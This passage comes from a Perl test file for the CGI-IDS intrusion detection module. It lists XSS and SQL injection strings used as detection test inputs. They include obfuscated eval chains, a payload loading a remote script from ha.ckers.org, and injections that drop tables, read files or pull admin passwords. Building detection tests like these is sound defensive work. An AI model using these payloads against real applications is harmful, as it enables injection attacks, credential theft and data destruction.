CGI-IDS

 view release on metacpan or  search on metacpan

t/01-ids.t  view on Meta::CPAN

                    x\$(x\$(y\$)+y\$)",
        24  => "<applet/src=http://businessinfo.co.uk/labs/xss.html
                    type=text/html>",
        25  => "onabort=onblur=onchange=onclick=ondblclick=onerror=onfocus=onkeydown=onkeypress=onkeyup=onload=onmousedown=onmousemove=onmouseout=onmouseover=onmouseup=onreset=onresize=onselect=onsubmit=onunload=alert",
        26  => 'onload=1&&alert',
        27  => "document.createStyleSheet('http://businessinfo.co.uk/labs/xss/xss.css')",
        28  => 'document.body.style.cssText=name',
        29  => "for(i=0;;)i",
        30  => "stop.sdfgkldfsgsdfgsdfgdsfg in alert(1)",
        31  => "this .fdgsdfgsdfgdsfgdsfg
                        this .fdgsdfgsdfgdsfgdsfg
                        this .fdgsdfgsdfgdsfgdsfg
                        this .fdgsdfgsdfgdsfgdsfg
                        this .fdgsdfgsdfgdsfgdsfg
                        aaaaaaaaaaaaaaaa :-(alert||foo)(1)||foo",
        32  => "(this)[new Array+('eva')+new Array+ 'l'](/foo.bar/+name+/foo.bar/)",
        33  => '<video/title=.10000/aler&#x74;(1) onload=.1/setTimeout(title)>',
        34  => "const urchinTracker = open",
        35  => "-setTimeout(
                        1E1+
                        ',aler\
                        t ( /Mario dont go, its fun phpids rocks/ ) + 1E100000 ' )",
        36 => '<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>',
        37 => '$$=\'e\'
                        _=$$+\'val\'
                        $=_
                        x=this[$]
                        y=x(\'nam\' + $$)
                        x(y)
                        \'foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar.foo@bar\'',
        38 => '‹img/src=x""onerror=alert(1)///›',
        39 => 'Image() .
                            ownerDocument .x=1',
        40 => CGI::IDS::urldecode('%FF%F0%80%BCimg%20src=x%20onerror=alert(1)//'),
        41 => "',jQuery(\"body\").html(//);\'a'",
        42 => '\',$(fred).set(\'html\',\'magically changes\')
                        \'s',
        43 => "',YAHOO.util.Get.script(\"http://ha.ckers.org/xss.js\")
                        's",
        42 => 'lo=/,Batman/,alert(\'Batman flew here\')',
);

my %testSelfContainedXSSList = (
    0   => 'a=0||\'ev\'+\'al\',b=0||1[a](\'loca\'+\'tion.hash\'),c=0||\'sub\'+\'str\',1[a](b[c](1));',
    1   => 'eval.call(this,unescape.call(this,location))',
    2   => 'd=0||\'une\'+\'scape\'||0;a=0||\'ev\'+\'al\'||0;b=0||\'locatio\';b+=0||\'n\'||0;c=b[a];d=c(d);c(d(c(b)))',
    3   => '_=eval,__=unescape,___=document.URL,_(__(___))',
    4   => '$=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($))',
    5   => '$_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__)',
    6   => 'ev\al.call(this,unescape.call(this,location))',
    7   => 'setTimeout//
                        (name//
                        ,0)//',
    8   => 'a=/ev/
                        .source
                        a+=/al/
                        .source,a = a[a]
                        a(name)',
    9   => 'a=eval,b=(name);a(b)',
    10  => 'a=eval,b= [ referrer ] ;a(b)',
    11  => "URL = ! isNaN(1) ? 'javascriptz:zalertz(1)z' [/replace/ [ 'source' ] ]
                        (/z/g, [] ) : 0",
    12  => "if(0){} else eval(new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array)
                        'foo bar foo bar foo'",
    13  => "switch('foo bar foo bar foo bar') {case eval(new Array + ('eva') + new Array + ('l(n') + new Array + ('ame) + new Array') + new Array):}",
    14  => "xxx='javascr',xxx+=('ipt:eva'),xxx+=('l(n'),xxx+=('ame),y')
                            Cen:tri:fug:eBy:pas:sTe:xt:do location=(xxx)
                            while(0)
                            ",
    15 => '-parent(1)',
    16 => "//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf//asdf\@asdf.asdf
                        (new Option)['innerHTML']=opener.name",
);

my %testSQLIList = (
    0   => '" OR 1=1#',
    1   => '; DROP table Users --',
    2   => '/**/S/**/E/**/L/**/E/**/C/**/T * FROM users WHERE 1 = 1',
    3   => 'admin\'--',
    4   => 'SELECT /*!32302 1/0, */ 1 FROM tablename',
    5   => '10;DROP members --',
    6   => ' SELECT IF(1=1,\'true\',\'false\')',
    7   => 'SELECT CHAR(0x66)',
    8   => 'SELECT LOAD_FILE(0x633A5C626F6F742E696E69)',
    9   => 'EXEC(@stored_proc @param)',
    10  => 'chr(11)||chr(12)||char(13)',
    11  => 'MERGE INTO bonuses B USING (SELECT',
    12  => '1 or name like \'%\'',
    13  => '1 OR \'1\'!=0',
    14  => '1 OR ASCII(2) = ASCII(2)',
    15  => '1\' OR 1&"1',
    16  => '1\' OR \'1\' XOR \'0',
    17  => '1 OR+1=1',
    18  => '1 OR+(1)=(1)',
    19  => '1 OR \'1',
    20  => 'aaa\' or (1)=(1) #!asd',
    21  => 'aaa\' OR (1) IS NOT NULL #!asd',
    22  => 'a\' or 1=\'1',
    23  => 'asd\' union (select username,password from admins) where id=\'1',
    24  => "1'; WAITFOR TIME '17:48:00 ' shutdown -- -a",
    25  => "1'; anything: goto anything -- -a",
    26  => "' =+ '",
    27  => "asd' =- (-'asd') -- -a",
    28  => 'aa"in+ ("aa") or -1 != "0',
    29  => 'aa" =+ - "0  ',
    30  => "aa' LIKE 0 -- -a",
    31  => "aa' LIKE md5(1) or '1",
    32  => "aa' REGEXP- md5(1) or '1",
    33  => "aa' DIV\@1 = 0 or '1",
    34  => "aa' XOR- column != -'0",
    35  => '============================="',
);

my %testSQLIList2 = (
    0   => 'asd"or-1="-1',
    1   => 'asd"or!1="!1',
    2   => 'asd"or!(1)="1',
    3   => 'asd"or@1="@1',
    4   => 'asd"or-1 XOR"0',
    5   => 'asd" or ascii(1)="49',
    6   => 'asd" or md5(1)^"1',



( run in 0.628 second using v1.01-cache-2.11-cpan-ceb78f64989 )